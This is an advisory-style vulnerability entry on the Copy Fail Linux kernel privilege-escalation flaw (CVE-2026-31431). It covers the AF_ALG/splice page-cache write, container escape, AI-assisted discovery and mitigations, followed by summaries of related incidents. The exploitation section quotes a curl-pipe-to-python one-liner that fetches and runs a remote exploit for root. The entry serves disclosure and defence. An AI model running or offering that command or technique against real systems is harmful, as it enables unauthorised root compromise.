CVE-2026-31431
Linux · Kernel · Linux kernel (algif_aead / AF_ALG crypto API)
Résumé
Copy Fail (CVE-2026-31431), disclosed on 29 April 2026 by the security firm Theori, is a Linux kernel flaw that turns any unprivileged local user into root with a 732-byte Python script and no luck required. Despite a name that sounds like a clipboard bug, it has nothing to do with copy and paste: it is a failed copy deep in the kernel's crypto code. A nine-year-old optimization in the AF_ALG crypto socket interface let an attacker steer the kernel into writing four attacker-chosen bytes into the page cache, the in-memory copy of files that the CPU actually executes. Patch the cached pages of a setuid-root binary like /usr/bin/su, run it, and you are root. The exploit is a straight-line logic flaw with no race condition and no hardcoded kernel addresses, so the exact same script runs at roughly 100 percent reliability across Ubuntu, RHEL, SUSE, Amazon Linux and every other distribution built since 2017. Worse, because the page cache is shared by the whole machine, it crosses container boundaries: one poisoned page in a Kubernetes pod can compromise neighbouring tenants and the host. The disk file is never touched, so file-integrity scanners stay silent. It rates CVSS 7.8 (High), was added to CISA's Known Exploited Vulnerabilities catalog on 1 May 2026, and is notable for how it was found: an AI-assisted code scan surfaced a bug that had been silently exploitable for nearly a decade in about one hour.
How it works
To execute a program, Linux does not read it fresh from disk every time. It keeps file contents in the page cache, a kernel-wide pool of in-memory pages keyed to each file, and the CPU runs the bytes sitting in those cached pages. Corrupt a cached page of an executable and you change what that program does the next time it runs, without the file on disk ever changing. That is the prize Copy Fail goes after, and it reaches it through an unlikely door: the kernel's crypto API.
AF_ALG is a socket interface that lets ordinary userspace programs ask the kernel to do cryptography for them. You open a socket, bind it to an algorithm, and feed it data. In 2017 an optimization (kernel commit 72548b093ee3) made the AEAD path of this interface operate "in place" to save a copy: it pointed the operation's source and destination at the same scatterlist (the kernel's description of a set of memory pages) and chained the authentication-tag region onto it by reference rather than copying it. The fatal combination is the splice() system call. splice() moves data between file descriptors inside the kernel by passing page references, not bytes, so splicing a file into the crypto socket hands the kernel the file's actual page-cache pages as the tag region. Because source and destination were merged, those read-only page-cache pages now sit inside the writable destination buffer.
The trigger is a specific algorithm, authencesn, the variant used for IPsec with extended sequence numbers. Its decrypt path uses the output buffer as scratch space and writes four bytes of sequence-number data (taken straight from bytes four through seven of the attacker's input) at a controlled offset, just past the tag. That offset lands inside the chained page-cache pages, and crucially the write happens before the authentication tag is ever checked, so no key and no valid tag are required. The result, in the disclosure's own words, is "a controlled page-cache write primitive against any readable file": four attacker-chosen bytes, at an attacker-chosen offset, into the in-memory copy of any file the attacker can read.
Why a four-byte write becomes root
Four bytes is enough. The proof-of-concept loops, patching shellcode into the cached pages of /usr/bin/su four bytes at a time (the payload is a small zlib-compressed blob), then simply executes su. Because su is setuid-root, the kernel runs it as UID 0, but it is now running the attacker's patched bytes from the corrupted cache page, which spawn a root shell. The whole thing is the one-liner curl https://copy.fail/exp | python3 && su.
The stealth is in a detail. The corrupted page is never marked "dirty", so the kernel's writeback machinery never flushes it to disk. The on-disk binary is byte-for-byte unchanged; only RAM is poisoned. That defeats the entire category of defenders that hash files on disk: AIDE, Tripwire, package verification and agentless image scanners all compare the untouched disk copy and find nothing wrong, while the running system serves root shells. Execution always comes from whatever pages currently back the file in cache, dirty or clean, so a clean-but-poisoned page is exactly what runs.
Container escape and the shared kernel
This is where Copy Fail stops being a single-host problem. Containers do not have their own kernel; they share the host's, and therefore share one page cache, which is keyed to files (inodes), not to namespaces. Two containers that read the same underlying file, a shared base-image layer, a host binary, the runc runtime, reference the very same cached pages. So an unprivileged process inside one pod can poison a cached page that a process in another container, or on the host itself, later executes. The researchers call it "a container escape primitive and a Kubernetes node compromise vector", and a follow-up showed pod-to-host takeover on real managed Kubernetes.
The blunt lesson: a container is a resource boundary, not a security boundary, against a kernel page-cache bug. Namespaces, seccomp-light profiles, image scanning and file-integrity monitoring do not contain it. The only things that do are a patched kernel, a seccomp profile that blocks the AF_ALG socket family outright, or running untrusted workloads on a separate-kernel sandbox such as gVisor, Kata Containers or a microVM, which do not share the host's page cache.
Found by AI in about an hour
The discovery is half the story. It began with a human hypothesis: Theori researcher Taeyang Lee, drawing on earlier kernelCTF work mapping the AF_ALG attack surface, suspected that AF_ALG combined with splice() created an unprivileged path that could deliver page-cache references of read-only files (including setuid binaries) into kernel crypto buffers. He handed that hypothesis to Xint Code, Theori's LLM-native code scanner, pointed it at the kernel's crypto/ subsystem, and it correlated the codepaths and surfaced Copy Fail as the top finding in roughly one hour. The bug had sat exploitable since 2017 because it lived at the intersection of three unrelated pieces (the in-place optimization, the authencesn scratch write, and splice page-cache delivery) that no human had connected. Theori, an offensive-security firm with a deep competitive-hacking pedigree, had launched the tool commercially only about six weeks earlier, and framed the result as evidence that the cost of finding deep logic flaws may have dropped by roughly an order of magnitude. The branded site, copy.fail, leans into exactly that, with the tagline "Is your software AI-era safe?".
Why it matters
Copy Fail is the newest member of a clear family of Linux privilege-escalation bugs that abuse kernel optimizations operating in place on shared page-cache pages: Dirty COW (CVE-2016-5195) in 2016, Dirty Pipe (CVE-2022-0847) in 2022, and now Copy Fail. It is the most dangerous of the three to deploy, because Dirty Pipe needed a recent kernel and careful pipe manipulation, while Copy Fail reaches back to 2017, needs no race and no offsets, and runs unmodified everywhere. The crypto socket interface it abuses, AF_ALG, has a quiet history of local-privilege-escalation bugs, a reminder that a rarely-audited corner of a huge codebase is exactly where decade-old flaws hide.
There are three durable takeaways. First, container isolation assumes a trustworthy shared kernel, and a single kernel memory bug erases that assumption across every tenant on a node; high-isolation workloads need a separate kernel, not just a namespace. Second, defenders who trust on-disk integrity are blind to in-memory attacks; detection has to watch behaviour (here, unprivileged processes opening AF_ALG sockets and splicing files), not just file hashes. Third, and most strategically, the economics of vulnerability discovery are shifting: a human insight plus an AI scanner pulled a nine-year-latent kernel flaw out of hiding in an hour, which means the latent bugs in everyone's dependencies are about to get found faster, by both defenders and attackers. Copy Fail follows the branded-vulnerability playbook that Heartbleed created a decade earlier, a logo and a website, but its real signature is being one of the first marquee bugs whose headline is not the flaw, but the machine that found it.
Comment le corriger
- Patch the kernel and reboot: the upstream fix (mainline commit a664bf3d603d, merged 1 April 2026) reverts the 2017 optimization so the crypto path operates out of place again and page-cache pages can never reach the writable destination; apply your distribution's kernel update and recycle affected nodes.
- Where you cannot patch immediately, disable the vulnerable module: `echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf` then `rmmod algif_aead`; on kernels where it is built in (such as RHEL) boot with `initcall_blacklist=algif_aead_init`.
- For untrusted workloads, block the attack surface with a seccomp profile that denies creation of AF_ALG sockets (address family 38); this neutralises the exploit without a reboot.
- Treat any host or node where untrusted code may have run before patching as potentially root-compromised: recycle the node, rotate secrets and credentials that lived on it, and do not rely on on-disk file-integrity tools to confirm cleanliness, since the attack leaves the disk untouched.
Comment l’éviter
- Do not run untrusted code on a shared kernel and expect the container to hold it: put genuinely untrusted or multi-tenant workloads on separate-kernel isolation (gVisor, Kata Containers, or microVMs), which do not share the host page cache.
- Disabling algif_aead is safe to standardise on: it removes only the userspace AF_ALG AEAD path and does not affect dm-crypt, LUKS, kTLS, IPsec, SSH or kernel-keyring crypto, so most fleets lose nothing by turning it off.
- Build detection around behaviour, not file hashes: alert on unprivileged processes that open AF_ALG sockets and splice files, and on unexpected execution patterns from setuid binaries, because page-cache tampering never shows up in disk-integrity monitoring.
- Keep kernels current and track Known Exploited Vulnerabilities feeds: Copy Fail reached CISA KEV within days of disclosure, and a fast, tested node-patching pipeline is the difference between a 24-hour exposure and a months-long one.
Références
- https://xint.io/blog/copy-fail-linux-distributions
- https://copy.fail/
- https://github.com/theori-io/copy-fail-CVE-2026-31431
- https://nvd.nist.gov/vuln/detail/CVE-2026-31431
- https://www.openwall.com/lists/oss-security/2026/04/29/23
- https://www.microsoft.com/en-us/security/blog/2026/05/01/cve-2026-31431-copy-fail-vulnerability-enables-linux-root-privilege-escalation/
- https://www.cisa.gov/news-events/alerts/2026/05/01/cisa-adds-one-known-exploited-vulnerability-catalog
- https://unit42.paloaltonetworks.com/cve-2026-31431-copy-fail/
Vulnérabilités liées
Tout Infra →- HIGHINFRA-USBLITER8-2026
usbliter8, published on 18 June 2026 by a research group called Paradigm Shift, is an unpatchable BootROM exploit for Apple's A12 and A13 chips, the silicon inside the iPhone XS, XR and 11 families plus the Apple Watch Series 4 and 5. It is the long-awaited successor to checkm8, the 2019 exploit that broke every Apple chip from the A5 to the A11 and was assumed to be the end of that road. The bug lives in the SecureROM, the very first code an Apple device runs at power on, which is etched into the silicon at the factory and can never be altered by any software update. usbliter8 abuses a hardware flaw in the Synopsys DWC2 USB controller: a mismatch in how the controller tracks its DMA memory while buffering USB Setup packets lets an attacker walk a write pointer backwards through memory and overwrite arbitrary SRAM, ending in full code execution inside the most trusted code on the chip. From there it can boot unsigned firmware and step outside Apple's chain of trust entirely, stamping the string PWND into the device's USB serial number as proof of control. The catch is that it is not a remote attack: it needs physical possession of the device, DFU recovery mode, a USB connection and a small RP2350 microcontroller board, and nothing it changes survives a reboot. It also does not break the Secure Enclave, so a device protected by a strong passcode keeps its user data encrypted even after the boot chain has been taken over. Apple cannot repair the affected chips; the only real remedy is newer hardware, because the A14 and later configure the controller correctly and are out of reach.
- CRITICALINFRA-NOTPETYA-2017
On 27 June 2017 NotPetya became the most destructive cyberattack in history, causing more than $10 billion in global damage. It looked like ransomware but was a wiper: even victims who paid could not recover, because its encryption kept nothing needed to decrypt. It entered through a poisoned update to M.E.Doc, a Ukrainian tax application, then spread inside networks at machine speed using the EternalBlue and EternalRomance SMB exploits plus Mimikatz to harvest credentials and move laterally, so even fully patched machines fell once one neighbour was compromised. The blast radius was global: Maersk had to reinstall roughly 45,000 PCs and 4,000 servers and was saved only because a single domain controller in Ghana had been offline during a power cut and held a clean copy of Active Directory; Merck's losses reached about $1.4 billion. The US, UK, and allies attributed it to Russia's GRU (Sandworm). It is the lesson in patching, stopping credential reuse, segmentation, and truly offline backups.
- CRITICALINFRA-WANNACRY-2017
On the morning of 12 May 2017, WannaCry became the fastest-spreading ransomware in history, encrypting files on more than 230,000 Windows machines across 150-plus countries in a single day and demanding a few hundred dollars in Bitcoin per machine. It needed no phishing and no clicks. It was a worm: it spread itself from one unpatched computer to the next using EternalBlue, an exploit for a flaw in Windows' ancient SMBv1 file-sharing protocol that the US National Security Agency had quietly stockpiled and that a group called the Shadow Brokers had leaked weeks earlier. Microsoft had shipped a patch (MS17-010) two months before, but the unpatched and the end-of-life machines, most famously across the UK's National Health Service, which diverted ambulances and cancelled thousands of operations, were swept up regardless. The global rampage was then halted almost by accident when a 22-year-old researcher registered a single gibberish domain for about ten dollars, not yet knowing it was the worm's kill switch. WannaCry is the textbook lesson in patching fast and killing legacy protocols, with a stranger-than-fiction ending.
- CRITICALCVE-2025-1974
IngressNightmare was a chain of five vulnerabilities in the Ingress-NGINX Controller for Kubernetes disclosed on 24 March 2025 by the Wiz Research team, the most severe being CVE-2025-1974 (CVSS 9.8), which enabled unauthenticated remote code execution from the pod network. Wiz estimated about 43% of cloud environments were vulnerable and identified over 6,500 publicly exposed clusters, including Fortune 500 organizations. The controller's validating admission webhook ran as an unauthenticated HTTP endpoint reachable by any workload on the pod network, accepting attacker-supplied AdmissionReview requests containing crafted Ingress objects. The supporting CVEs (CVE-2025-24514 auth-url, CVE-2025-1097 auth-tls-match-cn, CVE-2025-1098 mirror UID, CVE-2025-24513 path bypass) injected unsanitized NGINX configuration directives via annotations into a temporary config the controller validated with nginx -t. The attacker uploaded a shared-library payload by abusing NGINX client-body buffering (an oversized Content-Length keeps the request file descriptor open in ProcFS) and then used the injected ssl_engine directive to load that library during validation, achieving code execution in the controller pod whose service account could read all cluster secrets across namespaces, enabling full cluster takeover.
- HIGHCLOUD-ENVFILE-EXTORTION-2024
On August 15, 2024, Palo Alto Networks Unit 42 detailed a large-scale extortion campaign that compromised cloud environments by harvesting exposed environment variable files. Attackers scanned at least 110,000 domains and collected over 90,000 unique variables, including roughly 7,000 cloud service credentials and 1,515 social media credentials, with their infrastructure probing around 230 million targets. The vector was a web server misconfiguration: .env files inside the web root were served as plaintext over HTTP because the servers had no rule denying access to dotfiles, exposing the long-lived AWS IAM access keys hardcoded inside. The initial IAM principals lacked full admin but retained permission to create roles and users, so attackers called CreateRole and attached AdministratorAccess to escalate, then spun up Lambda functions across regions to automate further internet-wide scanning. They used the victims' own AWS accounts to exfiltrate and delete S3 objects, then uploaded ransom notes demanding payment. The failure chain combined exposed dotfiles, long-lived hardcoded credentials, and over-permissioned IAM, not any cloud-provider flaw.
- CRITICALCLOUD-BUCKET-MONOPOLY-2024
In research disclosed to AWS on February 16, 2024 and presented at Black Hat USA and DEF CON 32 in August 2024, Aqua Security's Nautilus team described a class of S3 bucket-name takeover attacks they called Bucket Monopoly, affecting CloudFormation, Glue, EMR, SageMaker, Service Catalog, and CodeStar. These services auto-created S3 buckets with predictable names built from static prefixes plus the account ID and region, such as cf-templates-{hash}-{region}, aws-glue-assets-{account-id}-{region}, and sagemaker-{region}-{account-id}, where account IDs are discoverable from ARNs, access keys, and public repos. Because S3 bucket names are globally unique, an attacker could pre-create a victim's predictably named bucket in a region the victim had not yet used (a Shadow Resource), then the victim's service would later read attacker-controlled content from it. This enabled data tampering, information disclosure, remote code execution by injecting malicious Glue or CloudFormation content, and in some cases full account takeover via planted admin roles; AWS remediated by adding randomized suffixes to bucket names and enforcing aws:ResourceAccount conditions. The class also covers reuse of abandoned or dangling bucket names that a victim configuration still references.